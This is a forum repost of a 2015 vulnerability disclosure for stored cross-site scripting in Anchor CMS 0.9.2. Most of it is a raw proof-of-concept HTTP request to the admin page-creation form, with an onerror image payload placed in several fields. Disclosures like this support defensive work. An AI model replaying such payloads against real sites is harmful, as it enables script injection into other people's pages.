Aerosol Posted March 24, 2015 Report Share Posted March 24, 2015 #Affected Vendor: http://anchorcms.com/#Date: 23/03/2015#Discovered by: JoeV#Type of vulnerability: XSS#Tested on: Windows 7#Version: 0.9.2#Description: Anchor CMS v 0.9.2 is susceptible to Cross Site Scriptingattack.Proof of Concept (PoC):---------------------------*XSS*---POST /anchor/index.php/admin/pages/add HTTP/1.1Host: localhostProxy-Connection: keep-aliveContent-Length: 1003Cache-Control: max-age=0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://localhostUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/39.0.2171.95 Safari/537.36Content-Type: multipart/form-data;boundary=----WebKitFormBoundary4w4M5e7r1tBwc2wpReferer: http://localhost/anchor/index.php/admin/pages/addAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8Cookie: anchor-install-timezone=-330;anchorcms-install=kIlKh79lcE6sWxZBwoSMI2eN4LuqpHgK;anchorcms-install_payload=ZDYyYjliOTEyMzhlNjJjYmVjZTg0ZmFkNmMxMGRlMDRhOjM6e3M6NDoiX291dCI7YTowOnt9czozOiJfaW4iO2E6MDp7fXM6ODoiaHRhY2Nlc3MiO3M6Mzg4OiJPcHRpb25zIC1pbmRleGVzCgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KCVJld3JpdGVFbmdpbmUgT24KCVJld3JpdGVCYXNlIC9hbmNob3IKCgkjIEFsbG93IGFueSBmaWxlcyBvciBkaXJlY3RvcmllcyB0aGF0IGV4aXN0IHRvIGJlIGRpc3BsYXllZCBkaXJlY3RseQoJUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKCVJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kCgoJIyBSZXdyaXRlIGFsbCBvdGhlciBVUkxzIHRvIGluZGV4LnBocC9VUkwKCVJld3JpdGVSdWxlIF4oLiopJCBpbmRleC5waHAvJDEgW0xdCjwvSWZNb2R1bGU%2BCgo8SWZNb2R1bGUgIW1vZF9yZXdyaXRlLmM%2BCglFcnJvckRvY3VtZW50IDQwNCBpbmRleC5waHAKPC9JZk1vZHVsZT4KIjt9;anchorcms=u8h0s9Vjh9LUAM56y7TDWBFolw8tJxxC------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="token"286db1269c0e304c7e435bf10251f950------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="title"<img src="blah.jpg" onerror="alert('XSS')"/>------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="redirect"------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="content"<img src="blah.jpg" onerror="alert('XSS')"/>------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="name"<img src="blah.jpg" onerror="alert('XSS')"/>------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="slug"<img src="blah.jpg" onerror="alert('XSS')"/>------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="status"published------WebKitFormBoundary4w4M5e7r1tBwc2wpContent-Disposition: form-data; name="parent"1------WebKitFormBoundary4w4M5e7r1tBwc2wp---- Regards,*Joel V*Source Quote Link to comment Share on other sites More sharing options...